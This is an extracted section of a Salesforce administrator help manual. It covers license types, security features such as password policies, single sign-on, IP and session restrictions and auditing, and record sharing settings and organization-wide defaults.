Designed for users who need only API access to data, need Database.com
to belong to Chatter groups (but no other groups), and don't Edition: 0
need to belong to roles or queues. Access to data is determined
Enterprise Edition
by organization-wide sharing defaults.
and Unlimited
Edition: 0
Contact
salesforce.com to
obtain
Database.com Light
User Licenses
See Also:
Adding a Single User
Viewing and Managing Users
About Company Information
Viewing Feature Licenses
You may have more than one type of feature license available to assign to the users in your organization. A feature license
entitles a user to an additional Salesforce feature, such as Marketing or Connect Offline.
To view a list of the feature licenses your organization has purchased, click Your Name > Setup > Company Profile > Company
Information. This page lists the following for each type of feature license:
Additionally, if Checkout is enabled for your organization, you can click Buy More Licenses to go to Checkout to buy
additional feature licenses; see Checkout User Guide for instructions.
609
Security Overview
Marketing User
Offline User
Apex Mobile User
Salesforce CRM Content User
Knowledge User
Service Cloud User
Chatter Answers User
Live Agent User
Force.com Flow User
Site.com Contributor User
Site.com Publisher User
To enable a feature for a user in your organization, you can assign feature licenses when adding new users or editing a user's
personal information. For information on purchasing feature licenses, contact salesforce.com.
See Also:
About Company Information
Understanding User License Types
Security Infrastructure
Trust and Salesforce.com
User Security Overview
About Passwords
User Authentication
Identity Providers
Network-Based Security
610
Security Overview
See Also:
FAQ: Security & Scalability
Securing Data Access
FAQ: What browsers are supported?
Setting Login Restrictions
Setting Session Security
Setting Password Policies
Security Implementation Guide
Security Infrastructure
One of the core features of a multi-tenant platform is the use of a single pool of computing resources to service the needs of
many different customers. Salesforce protects your organization's data from all other customer organizations by using a unique
organization identifier, which is associated with each user's session. Once you log in to your organization, your subsequent
requests are associated with your organization, using this identifier.
Salesforce utilizes some of the most advanced technology for Internet security available today. When you access the application
using a Salesforce-supported browser, Secure Socket Layer (SSL) technology protects your information using both server
authentication and data encryption, ensuring that your data is safe, secure, and available only to registered users in your
organization. For more information about supported browsers, see Supported Browsers.
In addition, Salesforce is hosted in a secure server environment that uses a firewall and other advanced technology to prevent
interference or access from outside intruders.
See Also:
Security Overview
Security Implementation Guide
611
Security Overview
Phishing is a social engineering technique that attempts to acquire sensitive information such as usernames, passwords and
credit card details by masquerading as a trustworthy entity in an electronic communication. Phishers often direct users to enter
details at a fake website whose URL and look-and-feel are almost identical to the legitimate one. As the salesforce.com
community grows, it has become an increasingly appealing target for phishers. You will never get an email or a phone call
from a salesforce.com employee asking you to reveal a password, so you should refuse to reveal it to anyone. You can report
any suspicious activities by clicking the Report a Suspicious Email link under the Trust tab at http://trust.salesforce.com.
Malware is software designed to infiltrate or damage a computer system without the owner's informed consent. It is a general
term used to cover a variety of forms of hostile, intrusive, or annoying software, and it includes computer viruses and spyware.
What Salesforce.com is Doing
Customer security is the foundation of customer success, so salesforce.com will continue to implement the best possible practices
and technologies in this area. Recent and ongoing actions include:
Actively monitoring and analyzing logs to enable proactive alerts to customers who have been affected.
Collaborating with leading security vendors and experts on specific threats.
Executing swift strategies to remove or disable fraudulent sites (often within an hour of detection).
Reinforcing security education and tightening access policies within salesforce.com.
Evaluating and developing new technologies both for our customers and for deployment within our infrastructure.
Modify your Salesforce implementation to activate IP range restrictions. This will allow users to access Salesforce only
from your corporate network or VPN, thus providing a second factor of authentication. For more information, see Setting
Session Security on page 668 and Restricting Login IP Ranges for Your Organization on page 670.
Educate your employees not to open suspect emails and to be vigilant in guarding against phishing attempts.
Use security solutions from leading vendors such as Symantec to deploy spam filtering and malware protection.
Designate a security contact within your organization so that salesforce.com can more effectively communicate with you.
Contact your salesforce.com representative with this information.
Consider using two-factor authentication techniques, such as RSA tokens, to restrict access to your network.
Salesforce.com has a Security Incident Response Team to respond to any security issues. To report a security incident with
Salesforce, contact security@salesforce.com. Describe the incident in detail, and the team will respond promptly.
See Also:
Security Overview
Security Implementation Guide
612
Security Overview
store other confidential user and session information, but instead implements more advanced security methods based on
dynamic data and encoded session IDs.
See Also:
Security Overview
Security Implementation Guide
About Passwords
Password policies available in: All Editions
Manage Users
There are several settings you can configure to ensure that your users passwords are strong and secure:
Password policiesset various password and login policies, such as specifying an amount of time before all users' passwords
expire, the level of complexity required for passwords, and so on. See Setting Password Policies on page 665.
User password expirationexpire the passwords for all the users in your organization, except for users with Password
Never Expires permission. See Expiring Passwords on page 512.
User password resetsreset the password for specified users. See Resetting Passwords on page 511.
Login attempts and lockout periodsif a user is locked out of Salesforce due to too many failed login attempts, you can
unlock them. See Editing Users on page 507.
Password Requirements
A password cannot contain your User Name and cannot match your first or last name.
For all editions, a new organization has the following default password requirements:
The password policies, including these defaults, can be updated for all editions except for Personal Edition. See Setting
Password Policies on page 665 for more details.
See Also:
Security Overview
Security Implementation Guide
613
Security Overview
User Authentication
Salesforce has its own system of user authentication, but some companies prefer to use an existing single sign-on capability to
simplify and standardize their user authentication. You have two options to implement single sign-onfederated authentication
using Security Assertion Markup Language (SAML) or delegated authentication.
Federated authentication using Security Assertion Markup Language (SAML) allows you to send authentication and
authorization data between affiliated but unrelated Web services. This enables you to sign-on to Salesforce from a client
application. Federated authentication using SAML is enabled by default for your organization.
Delegated authentication single sign-on enables you to integrate Salesforce with an authentication method that you choose.
This enables you to integrate authentication with your LDAP (Lightweight Directory Access Protocol) server, or perform
single sign-on by authenticating using a token instead of a password. You manage delegated authentication at the permission
level, allowing some users to use delegated authentication, while other users continue to use their Salesforce-managed
password. Delegated authentication is set by permissions, not by organization. You must request that this feature be enabled
by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on for your organization.
The primary reasons for using delegated authentication include:
Using a stronger type of user authentication, such as integration with a secure identity provider
Making your login page private and not part of the general Internet, but rather, part of your corporate network, behind
your corporate firewall
Differentiating your organization from all other companies that use Salesforce in order to reduce phishing attacks
See Also:
Security Overview
Security Implementation Guide
Identity Providers
An identity provider is a trusted provider that enables you to use single sign-on to access other websites. A service provider is a
website that hosts applications. You can enable Salesforce as an identity provider, then define one or more service providers,
so your users can access other applications directly from Salesforce using single sign-on. This can be a great help to your users:
instead of having to remember many passwords, they will only have to remember one. Plus, the applications can be added as
tabs to your Salesforce organization, which means users won't have to switch between programs.
For more information, see About Identity Providers and Service Providers in the Salesforce online help.
See Also:
Security Overview
Security Implementation Guide
614
Security Overview
Network-Based Security
User authentication determines who can log in, while network-based security limits where they can log in from and when. Use
network-based security to limit the window of opportunity for an attacker by restricting the origin of user logins. Network-based
security can also make it more difficult for an attacker to use stolen credentials.
To enhance network-based security, Salesforce includes the ability to restrict the hours during which users can log in and the
range of IP addresses from which they can log in. If IP address restrictions are defined for a user's profile and a login originates
from an unknown IP address, Salesforce does not allow the login. This helps to protect your data from unauthorized access
and phishing attacks.
To set the organization-wide list of trusted IP addresses from which users can always log in without a login challenge, see
Restricting Login IP Ranges for Your Organization on page 670. To restrict login hours by profile, or to restrict logins by IP
addresses for specific profiles, see Setting Login Restrictions on page 552.
See Also:
Security Overview
Security Implementation Guide
See Also:
Security Overview
Security Implementation Guide
Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a
user leaves their computer unattended while still logged on. It also limits the risk of internal attacks, such as when one employee
tries to use another employee's session.
You can control the session expiration time window for user logins. Session expiration allows you to select a timeout for user
sessions. The default session timeout is two hours of inactivity. When the session timeout is reached, users are prompted with
a dialog that allows them to log out or continue working. If they do not respond to this prompt, they are automatically logged
out.
615
Security Overview
Note: When a user closes a browser window or tab they are not automatically logged off from their Salesforce session.
Please ensure that your users are aware of this, and that they end all sessions properly by clicking Your Name > Logout.
By default, Salesforce uses SSL (secure sockets layer) and requires secure connections (HTTPS) for all communication. The
Require secure connections (HTTPS) setting determines whether SSL (HTTPS) is required for access to Salesforce,
apart from Force.com sites, which can still be accessed using HTTP. (To enforce HTTPS for all Force.com sites communication,
see Public Access Settings for Force.com Sites on page 1633.) If you disable this setting and change the URL from https://
to http://, you can still access the application. However, you should require all sessions to use SSL for added security. See
Setting Session Security on page 668.
See Also:
Security Overview
Security Implementation Guide
Auditing
Auditing features do not secure your organization by themselves, but these features provide information about usage of the
system, which can be critical in diagnosing potential or real security issues. It is important that someone in your organization
perform regular audits to detect potential abuse. The other security features provided by Salesforce are preventative. To verify
that your system is actually secure, you should perform audits to monitor for unexpected changes or usage trends.
Auditing features include:
Record Modification Fields
All objects include fields to store the name of the user who created the record and who last modified the record. This
provides some basic auditing information.
Login History
You can review a list of successful and failed login attempts to your organization for the past six months. See Monitoring
Login History on page 600.
Field History Tracking
You can also enable auditing for individual fields, which will automatically track any changes in the values of selected
fields. Although auditing is available for all custom objects, only some standard objects allow field-level auditing. See
Tracking Field History on page 1100.
Setup Audit Trail
Administrators can also view a Setup Audit Trail, which logs when modifications are made to your organization's
configuration. See Monitoring Setup Changes on page 735.
See Also:
Security Overview
Security Implementation Guide
616
Choosing the data set that each user or group of users can see is one of the key decisions that affects data security. You need
to find a balance between limiting access to data, thereby limiting risk of stolen or misused data, versus the convenience of
data access for your users.
To enable users to do their job without exposing data that they do not need to see, Salesforce provides a flexible, layered sharing
design that allows you to expose different data sets to different sets of users.
To specify the objects that users can access, you can assign permission sets and profiles.
To specify the fields that users can access, you can use field-level security.
To specify the individual records that users can view and edit, you can set your organization-wide sharing settings, define
a role hierarchy, and create sharing rules.
Tip: When implementing security and sharing rules for your organization, make a table of the various types of users
in your organization. In the table, specify the level of access to data that each type of user needs for each object and
for fields and records within the object. You can refer to this table as you set up your security model.
617
Organization-wide sharing settingsThe first step in record-level security is to determine the organization-wide
sharing settings for each object. Organization-wide sharing settings specify the default level of access users have to
each others' records.
You use organization-wide sharing settings to lock down your data to the most restrictive level, and then use the
other record-level security and sharing tools to selectively give access to other users. For example, let's say users have
object-level permissions to read and edit opportunities, and the organization-wide sharing setting is Read-Only. By
default, those users can read all opportunity records, but can't edit any unless they own the record or are granted
additional permissions.
Role hierarchyOnce you've specified organization-wide sharing settings, the first way you can give wider access to
records is with a role hierarchy. Similar to an organization chart, a role hierarchy represents a level of data access that
a user or group of users needs. The role hierarchy ensures that users higher in the hierarchy always have access to the
same data as people lower in their hierarchy, regardless of the organization-wide default settings. Role hierarchies
don't have to match your organization chart exactly. Instead, each role in the hierarchy should represent a level of
data access that a user or group of users needs.
You can also use a territory hierarchy to share access to records. A territory hierarchy grants users access to records
based on criteria such as zip code, industry, revenue, or a custom field that is relevant to your business. For example,
you could create a territory hierarchy in which a user with the North America role has access to different data than
users with the Canada and United States roles.
Note: Although it's easy to confuse permission sets and profiles with roles, they control two very different
things. Permission sets and profiles control a user's object and field access permissions. Roles primarily control
a user's record-level access through role hierarchy and sharing rules.
Sharing rulesSharing rules let you make automatic exceptions to organization-wide sharing settings for particular
sets of users, to give them access to records they don't own or can't normally see. Sharing rules, like role hierarchies,
are only used to give additional users access to recordsthey can't be stricter than your organization-wide default
settings.
Manual sharingSometimes it's impossible to define a consistent group of users who need access to a particular set
of records. In those situations, record owners can use manual sharing to give read and edit permissions to users who
would not have access to the record any other way. Although manual sharing isn't automated like organization-wide
sharing settings, role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records
with users that need to see them.
Apex managed sharingIf sharing rules and manual sharing don't give you the control you need, you can use Apex
managed sharing. Apex managed sharing allows developers to programmatically share custom objects. When you
618
use Apex managed sharing to share a custom object, only users with the Modify All Data permission can add or
change the sharing on the custom object's record, and the sharing access is maintained across record owner changes.
See Also:
Overview of Sharing Settings
Overview of Roles
In Salesforce, you can control access to data at many different levels. For example, you can control the access your users have
to objects with object permissions. Within objects, you can control the access users have to fields using field-level security. To
control access to data at the record level, use sharing settings.
Organization-Wide Defaults
Your organization-wide default sharing settings give you a baseline level of access for each object and enable you to extend
that level of access using hierarchies or sharing rules. For example, you can set the organization-wide default for leads to Private
if you only want users to view and edit the leads they own. Then, you can create lead sharing rules to extend access of leads to
particular users or groups.
Starting in Summer 12, custom objects can have separate organization-wide defaults for external and internal users, enabling
admins to set default access for external users to Private while still allowing Public Read/Write or Public Read Only access
for internal users. See Separate Organization-Wide Defaults for more information.
Sharing Rules
Sharing rules represent the exceptions to your organization-wide default settings. If you have organization-wide sharing defaults
of Public Read Only or Private, you can define rules that give additional users access to records they do not own. You can
create sharing rules based on record owner or field values in the record.
Tip: Sometimes it's impossible to define a consistent group of users who need access to a particular set of records. In
those situations, record owners can use manual sharing to give read and edit permissions to users who would not have
access to the record any other way. Although manual sharing isn't automated like organization-wide sharing settings,
role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need
to see them.
619
See Also:
Sharing Considerations
Account Teams Overview
Sales Teams Overview
Case Teams Overview
Securing Data Access
Manage Users
AND
Customize Application
Use the sharing settings page to set your organization-wide sharing defaults and manage sharing rules.
To view the sharing settings page, click Your Name > Setup > Security Controls > Sharing Settings.
620
From the Manage sharing settings for drop-down list, select All Objects to view sharing settings for all objects
in the organization, or select a single object.
View or manage organization-wide defaults, or the default level of access users have to each others records.
View or manage sharing rules, or exceptions to the organization-wide defaults.
View the profiles that override sharing settings.
When you select an object in the Sharing Settings page, the page includes a Sharing Overrides related list, which shows any
profiles that ignore sharing settings for that object.
To view the Sharing Overrides list, click Your Name > Setup > Security Controls > Sharing Settings, then select an object
from the Manage Sharing Settings For list.
For each profile, the list specifies the permissions that allow it to override sharing settings. The View All Data and Modify
All Data permissions override sharing settings for all objects in the organization, while the object permissions View All and
Modify All override sharing settings for the named object.
Note: The Sharing Overrides list doesn't show permissions granted through permission sets, which may also override
sharing settings for an object.
To override sharing settings for specific objects, you can create or edit permission sets or profiles and enable the View All
and Modify All object permissions. These permissions provide access to all records associated with an object across the
organization, regardless of the sharing settings. Before setting these permissions, compare the different ways to control data
access.
See Also:
Object Permissions
Comparing Security Models
Overview of Sharing Settings
621
Administrators can use organization-wide sharing settings to define the default sharing settings for an organization.
Organization-wide sharing settings specify the default level of access to records and can be set separately for accounts (including
assets and contracts), activities, contacts, campaigns, cases, leads, opportunities, calendars, price books, and custom objects.
For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or Public Read/Write.
In environments where the organization-wide sharing setting for an object is Private or Public Read Only, an administrator
can grant users additional access to records by setting up a role hierarchy or defining sharing rules. However, sharing rules can
only be used to grant additional accessthey cannot be used to restrict access to records beyond what was originally specified
with the organization-wide sharing defaults.
Important: If your organization uses a Customer Portal, before you enable contacts to access the portal, set the
organization-wide sharing defaults on accounts, contacts, contracts, assets, and cases to Private. This ensures that by
default your customers can view only their own data. You can still grant your Salesforce users Public Read/Write
access by creating sharing rules in which all internal users share with all internal users.
By default, Salesforce uses hierarchies, like the role or territory hierarchy, to automatically grant access of records to users
above the record owner in the hierarchy.
Use the Grant Access Using Hierarchies checkbox to disable access to records to users above the record owner in the hierarchy
for custom objects in Professional, Enterprise, Unlimited, and Developer Edition. If you deselect this checkbox for a custom
object, only the record owner and users granted access by the organization-wide defaults receive access to the records.
Note:
Starting in Summer 12, custom objects can have separate organization-wide defaults for external and internal users,
enabling admins to set default access for external users to Private while still allowing Public Read/Write or Public
Read Only access for internal users. See Separate Organization-Wide Defaults for more information.
See Also:
Setting Your Organization-Wide Sharing Defaults
Overview of Roles
Sharing Rules Overview
Setting Up Your Customer Portal
622
Note: Separate Organization-Wide Defaults for External Users is available through a pilot program. For more
information on enabling this feature for your organization, contact salesforce.com.
Starting in Summer 12, custom objects can have separate organization-wide defaults for internal and external users, therefore
simplifying your sharing rules configuration and improving recalculation performance.
External users include:
Previously, if your organization wanted Public Read Only or Public Read/Write access for internal users but Private for external
users, you would have to set the default access to Private and create a sharing rule to share records with all internal users.
With separate organization-wide defaults, you can achieve similar behavior by setting Default Internal Access to Public Read
Only or Public Read/Write and Default External Access to Private. Setting the default internal access as Public Read Only
or Public Read/Write also speeds up performance for reports, list views, searches, and API queries.
Enable separate organization-wide defaults by clicking Your Name > Setup > Security Controls > Sharing Settings and
clicking the Enable External Sharing Model button.
Note: The Default External Access level must be more restrictive or equal to the Default Internal Access level. For
example, you can have a custom object with Default External Access set to Private and Default Internal Access set
to Public Read Only .
If you want to disable separate organization-wide defaults, each of your custom objects must be set to the same Default
External Access and Default Internal Access levels before you can disable this feature. This button may be grayed out if at
least one of your custom objects has different internal and external access levels. If you have soft-deleted a custom object with
different external and internal defaults, you have to undelete the custom object to change the defaults to the same levels or
hard-delete the custom object before you can disable the feature.
For details, see the Separate Organization-Wide Defaults for External Users tip sheet.
623
You may encounter cases where a user can view a parent or child of a record that they have access to. An account is the parent
of several child entitiesopportunity, case, and contact. For example, a user with access to a case can view the associated
parent account. Similarly, a user with access to a parent account can view associated child entities.
Salesforce provides implicit sharing between accounts and child objects, and also for various groups of portal users, summarized
as follows.
Sharing between accounts and child entities
Access to a parent accountIf you have access to a child record of an account, you have implicit Read Only access
on that account.
Access to child entitiesIf you have access to a parent account, you may have access to the associated child entities.
The account owner's role determines the level of access to child entities.
Account and case accessA portal user of an account has Read Only access to the parent account and to all contacts
of that account.
Management access to data owned by Service Cloud portal usersSince Service Cloud portal users don't have
roles, portal account owners can't access their data via the role hierarchy. To grant them access to this data, you can
add account owners to the share group of the portal where the Service Cloud portal users are working in. This step
provides access to all data owned by Service Cloud portal users in that portal.
Case accessIf a portal user is a contact on a case, then the user has Read Only access on the case.
See Also:
Sharing Considerations
Securing Data Access
Creating Account Sharing Rules
Granting Access to Records
624
Manage Users
AND
Customize Application
1. Click Your Name > Setup > Security Controls > Sharing Settings.
2. Click Edit in the Organization-Wide Defaults area.
3. For each object, select the default access you want to use. If you have a portal enabled with separate organization-wide
defaults, see Separate Organization-Wide Defaults.
4. To disable automatic access using your hierarchies, deselect Grant Access Using Hierarchies for any custom object that
does not have a default access of Controlled by Parent.
Note: If Grant Access Using Hierarchies is deselected, users that are higher in the role or territory hierarchy
don't receive automatic access. However, some userssuch as those with the View All and Modify All object
permissions and the View All Data and Modify All Data system permissionscan still access records they
don't own.
Limitations
You can't change the organization-wide sharing default setting for some objects:
See Also:
Overview of Sharing Settings
Sharing Default Access Settings
625
Default Access
Accounts
Public Read/Write
Activities
Private
Assets
Public Read/Write
Calendar
Campaigns
Cases
Public Read/Write/Transfer
Contacts
Controlled by Parent
Contracts
Public Read/Write
Custom Objects
Public Read/Write
Leads
Public Read/Write/Transfer
Opportunities
Price Books
Use
Service Contracts
Private
See Also:
About Organization-Wide Sharing Defaults
Setting Your Organization-Wide Sharing Defaults
626
Manage Users
You can use organization-wide defaults to set the default level of record access for the following objects.
You can assign the following access levels to accounts, campaigns, cases, contacts, contracts, leads, opportunities, and custom
objects.
Field
Description
Controlled by Parent
Private
Only the record owner, and users above that role in the
hierarchy, can view, edit, and report on those records.
For example, if Tom is the owner of an account, and he is
assigned to the role of Western Sales, reporting to Carol (who
is in the role of VP of Western Region Sales), then Carol can
also view, edit, and report on Toms accounts.
627
Field
Description
All users can view and report on records but not edit them.
Only the owner, and users above that role in the hierarchy,
can edit those records.
For example, Sara is the owner of ABC Corp. Sara is also in
the role Western Sales, reporting to Carol, who is in the role
of VP of Western Region Sales. Sara and Carol have full
read/write access to ABC Corp. Tom (another Western Sales
Rep) can also view and report on ABC Corp, but cannot edit
it.
Public Read/Write
Public Read/Write/Transfer
All users can view, edit, transfer, and report on all records.
Only available for cases or leads.
For example, if Alice is the owner of ACME case number
100, all other users can view, edit, transfer ownership, and
report on that case. But only Alice can delete or change the
sharing on case 100.
All users can view, edit, transfer, delete, and report on all
records. Only available for campaigns.
For example, if Ben is the owner of a campaign, all other users
can view, edit, transfer, or delete that campaign.
Note: To use cases effectively, set the organization-wide default for Account, Contact, Contract, and Asset to Public
Read/Write.
You can assign the following access levels to personal calendars.
Field
Description
Hide Details
Show Details
628
Field
Description
Full Access
Note: Regardless of the organization-wide defaults that have been set for calendars, all users can invite all other users
to events.
You can assign the following access levels to price books.
Field
Description
Use
All users can view price books and add them to opportunities.
Users can add any product within that price book to an
opportunity.
View Only
All users can view and report on price books but only users
with the Edit permission on opportunities or users that have
been manually granted use access to the price book can add
them to opportunities.
No Access
Description
Private
Only the activity owner, and users above the activity owner in
the role hierarchy, can edit and delete the activity; users with
read access to the record to which the activity is associated can
view and report on the activity.
Controlled by Parent
629
Field
Description
if he or she can also edit the Acme account and the John Smith
record.
See Also:
Setting Your Organization-Wide Sharing Defaults
Overview of Sharing Settings
Sharing Considerations
Your organization's sharing model gives users access to records they do not own. The sharing model is a complex relationship
between role hierarchies, user permissions, sharing rules, and exceptions for certain situations. Review the following notes
before setting your sharing model:
Exceptions to Role Hierarchy-based Sharing
Users can always view and edit all data owned by or shared with users below them in the role hierarchy. Exceptions to this
include:
An option on your organization-wide default allows you to ignore the hierarchies when determining access to data. For
more information on this setting, see Controlling Access Using Hierarchies on page 633.
Contacts that are not linked to an account are always private. Only the owner of the contact and administrators can view
it. Contact sharing rules do not apply to private contacts.
Notes and attachments marked as private via the Private checkbox are accessible only to the person who attached them
and administrators.
Events marked as private via the Private checkbox are accessible only by the event owner. Other users cannot see the
event details when viewing the event owners calendar. However, users with the View All Data or Modify All Data
permission can see private event details in reports and searches, or when viewing other users calendars.
Users above a record owner in the role hierarchy can only view or edit the record owners records if they have the Read
or Edit object permission for the type of record
Deleting Records
The ability to delete individual records is controlled by administrators, the record owner, users in a role hierarchy above
the record owner, and any user that has been granted Full Access.
If the sharing model is set to Public Read/Write/Transfer for cases or leads or Public Full Access for campaigns, any user
can delete those types of records.
You must have Read/Write access to a record to be able to add notes or attachments to the record.
You must have at least Read access to a record to be able to add activities or other associated records to it.
630
The ability to manually extend the sharing access of individual records is controlled by administrators, the record owner,
users in a role hierarchy above the record owner, and any user that has been granted Full Access. See Sharing Accounts,
Sharing Campaigns, Sharing Contacts, Sharing Opportunities, Sharing Cases, and Sharing Leads.
Changing your sharing model deletes any manual shares your users have created.
Regardless of the sharing settings, users must have the appropriate object-level permissions. For example, if you share an
account, those users can only see the account if they have the Read permission on accounts. Likewise, users who have
the Edit permission on contacts may still not be able to edit contacts they do not own if they are working in a Private
sharing model.
Administrators, and users with the View All Data or Modify All Data permissions, have access to view or edit all data.
Account Sharing
To restrict users access to records they do not own that are associated with accounts they do own, set the appropriate access
level on the role. For example, you can restrict a user's access to opportunities they do not own yet are associated with
accounts they do own using the Opportunity Access option.
Regardless of the organization-wide defaults, users can, at a minimum, view the accounts in their territories. Also, users
can be granted access to view and edit the contacts, opportunities, and cases associated with their territories' accounts.
Apex Sharing
You can't change the organization-wide default settings from private to public for a custom object if Apex code uses the
sharing entries associated with that object. For example, if Apex code retrieves the users and groups who have sharing
access on a custom object Invoice__c (represented as Invoice__share in the code), you can't change the object's
organization-wide sharing setting from private to public.
Campaign Sharing
In Enterprise, Unlimited, and Developer Editions, designate all users as Marketing Users when enabling campaign sharing.
This simplifies administration and troubleshooting because access can be controlled using sharing and profiles.
Note: Professional Edition customers cannot manage users this way because custom profiles are not enabled in
Professional Edition organizations.
To segment visibility between business units while maintaining existing behavior within a business unit:
1. Set the campaign organization-wide default to Private.
2. Create a sharing rule to grant marketing users Public Full Access to all campaigns owned by users within their business
unit.
3. Create a sharing rule to grant all non-marketing users in a business unit Read Only access to all campaigns owned by
users in their business unit.
When a single user, such as a regional marketing manager, owns multiple campaigns and needs to segment visibility
between business units, share campaigns individually instead of using sharing rules. Sharing rules apply to all campaigns
owned by a user and do not allow segmenting visibility.
Create all campaign sharing rules prior to changing your organization-wide default to reduce the affect the change has on
your users.
631
To share all campaigns in your organization with a group of users or a specific role, create a sharing rule that applies to
campaigns owned by members of the Entire Organization public group.
Minimize the number of sharing rules you need to create by using the Roles and Subordinates option instead of choosing
a specific role.
If campaign hierarchy statistics are added to the page layout, a user can see aggregate data for a parent campaign and all
the campaigns below it in the hierarchy regardless of whether that user has sharing rights to a particular campaign within
the hierarchy. Therefore, consider your organization's campaign sharing settings when enabling campaign hierarchy
statistics. If you do not want users to see aggregate hierarchy data, remove any or all of the campaign hierarchy statistics
fields from the Campaign Hierarchy related list. These fields will still be available for reporting purposes. For more
information, see Viewing Campaign Hierarchy Statistics on page 2822.
If the sharing model is set to Public Full Access for campaigns, any user can delete those types of records.
The organization-wide sharing default for contacts is not available to organizations that have person accounts enabled.
If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available
when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's
account.
Sharing on price books controls whether users can add the price book and its products to opportunities.
User permissions control whether users can view, create, edit, and delete price books.
632
Manage Users
AND
Customize Application
Manage Users
AND
Customize Application
Beyond setting the organization-wide sharing defaults for each object, your organization can specify whether users have access
to the data owned by or shared with their subordinates in the hierarchy. For example, hierarchies like the role hierarchy or
territory hierarchy automatically grant record access to users above the record owner in the hierarchy. The Grant Access
Using Hierarchies option in the organization-wide defaults determines the access users have to records that they do not
own, including records they do not have sharing access to but someone below them in the hierarchy does. By default, the
Grant Access Using Hierarchies option is enabled for all objects, and it can only be changed for custom objects.
To control sharing access using hierarchies for any custom object, click Your Name > Setup > Security Controls > Sharing
Settings and Edit in the Organization Wide Defaults section. Deselect Grant Access Using Hierarchies if you want
to prevent users from gaining automatic access to data owned by or shared with their subordinates in the hierarchies.
Implementation Notes
Regardless of your organization's sharing settings, users can gain access to records they do not own through other means
such as user permissions like View All Data, sharing rules, or manual sharing of individual records.
The Grant Access Using Hierarchies option is always selected on standard objects and is not editable.
If you disable the Grant Access Using Hierarchies option, sharing with a role or territory and subordinates only
shares with the users directly associated with the role or territory selected. Users in roles or territories above them in the
hierarchies will not gain access.
If your organization disables the Grant Access Using Hierarchies option, activities associated with a custom object
are still visible to users above the activitys assignee in the role hierarchy.
If a master-detail relationship is broken by deleting the relationship, the former detail custom object's default setting is
automatically reverted to Public Read/Write and Grant Access Using Hierarchies is selected by default.
The Grant Access Using Hierarchies option affects which users gain access to data when something is shared
with public groups, personal groups, queues, roles, or territories. For example, the View All Users option displays group
members and people above them in the hierarchies when a record is shared with them using a sharing rule or manual
sharing and the Grant Access Using Hierarchies option is selected. When the Grant Access Using
Hierarchies option is not selected, some users in these groups no longer have access. The following list covers the access
reasons that depend on the Grant Access Using Hierarchies option.
633
When you deselect Grant Access Using Hierarchies, notify users of the changes in report results that they can
expect due to losing visibility of their subordinates' data. For example, selecting My team's... in the View drop-down list
returns records owned by the user; it will not include records owned by their subordinates. To be included in this type of
report view, records from subordinates must be explicitly shared with that user by some other means such as a sharing rule
or a manual share. So, if no records are shared with you manually, the My... and My team's... options in the View drop-down
list return the same results. However, choosing the Activities with... any custom object report type when creating a custom
report returns activities assigned to you as well as your subordinates in the role hierarchy.
See Also:
Sharing Default Access Settings
Setting Your Organization-Wide Sharing Defaults
Author Apex
When creating Apex managed sharing, create Apex sharing reasons for individual custom objects to indicate why sharing was
implemented, simplify the coding required to update and delete sharing records, and share a record multiple times with the
same user or group using different Apex sharing reasons.
634
Note: For more information on Apex managed sharing, see the Force.com Apex Code Developer's Guide.
Salesforce displays Apex sharing reasons in the Reason column when viewing the sharing for a custom object record in the
user interface. This allows users and administrators to understand the purpose of the sharing.
When working with Apex sharing reasons, note the following:
Only users with the Modify All Data permission can add, edit, or delete sharing that uses an Apex sharing reason.
Deleting an Apex sharing reason will delete all sharing on the object that uses the reason.
You can create up to 10 Apex sharing reasons per custom object.
You can create Apex sharing reasons using the Metadata API. For more information, see theMetadata API Developer's
Guide.
See Also:
Recalculating Apex Managed Sharing
Apex Code Overview
Setting Your Organization-Wide Sharing Defaults
Granting Access to Records
Author Apex
Important: When packaging custom objects, be aware that associated Apex sharing recalculations are also included
and may prevent the package from installing.
635
Developers can write batch Apex classes that recalculate the Apex managed sharing for a specific custom object. You can
associate these classes with a custom object on its detail page, and execute them if a locking issue prevents Apex from granting
access to a user as defined by the applications logic. Apex sharing recalculations are also useful for resolving visibility issues
due to coding errors. For example, if a developer corrects a coding error that prevented users from accessing records they should
see, the correction might only affect records created after the code update. To ensure the correction applies to existing records
as well, the developer can run an Apex sharing recalculation to validate sharing on all records.
You can run Apex sharing recalculations from a custom object's detail page. You can also run them programmatically using
the Database.executeBatch method. In addition, Salesforce automatically runs Apex recalculation classes defined for a
custom object every time a custom object's organization wide sharing default access level is updated.
Note:
Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default
access level changes. The recalculation includes access granted by sharing rules. In addition, all types of sharing are
removed if the access they grant is redundant. For example, the manual sharing which grants Read Only access to a
user is deleted when the objects sharing model is changed from Private to Public Read Only.
For information on creating Apex managed sharing and recalculation classes, see the Force.com Apex Code Developer's Guide.
To associate an Apex managed sharing recalculation class with a custom object:
1.
2.
3.
4.
The Apex code that extends the sharing recalculation can process a maximum of five million records. If thisApex code
affects more than five million records, the job fails immediately.
You can monitor the status of Apex sharing recalculations in the Apex job queue.
You can associate a maximum of five Apex sharing recalculations per custom object.
You cannot associate Apex sharing recalculations with standard objects.
See Also:
Creating Apex Sharing Reasons
Apex Code Overview
Setting Your Organization-Wide Sharing Defaults
636
With sharing rules, you can make automatic exceptions to your organization-wide sharing settings for defined sets of users.
For example, use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules can never
be stricter than your organization-wide default settings. They simply allow greater access for particular users.
You can create the following types of sharing rules.
Type
Based on
Territory assignment
Individual leads
Note:
You can't include high-volume portal users in sharing rules because they don't have roles and can't be in public
groups.
637
Developers can use Apex to programmatically share custom objects (based on record owners, but not other criteria).
See Also:
Criteria-Based Sharing Rules Overview
Sharing Rule Considerations
Creating Apex Sharing Reasons
Overview of Sharing Settings
About High-Volume Portal Users (Service Cloud Portal Users)
Criteria-based sharing rules determine whom to share records with based on field values in records. For example, let's say you
use a custom object for job applications, with a custom picklist field named Department. You can create a criteria-based
sharing rule that shares all job applications in which the Department field is set to IT with all IT managers in your organization.
Note:
Although criteria-based sharing rules are based on values in the records and not the record owners, a role or territory
hierarchy still allows users higher in the hierarchy to access the records.
Currently, you can't use Apex to create criteria-based sharing rules.
You can use the Metadata API to create criteria-based sharing rules starting in API version 24.0.
